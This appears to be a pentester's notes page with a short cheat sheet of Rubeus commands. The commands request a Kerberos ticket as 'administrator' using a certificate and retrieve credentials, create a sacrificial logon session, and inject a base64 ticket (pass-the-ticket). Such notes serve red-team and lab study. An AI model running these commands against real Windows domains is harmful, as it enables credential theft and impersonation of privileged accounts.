> For the complete documentation index, see [llms.txt](https://notes.dado1513.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dado1513.dev/tools/rubeus.md).

# Rubeus

#### Authenticate in windows

```powershell
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
```

#### Certificate Authentication

```
PS C:\Tools> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
```

#### Create a Sacrificial Logon Session with Rubeus

```
PS C:\Tools> .\Rubeus.exe createnetonly /program:powershell.exe /show
```

#### Import Base64 Ticketin into the Powershell session using Rubeus

```
PS C:\Tools> .\Rubeus.exe ptt /ticket:doIGQjCCBj6gAwIBBaEDAgEW<SNIP>
```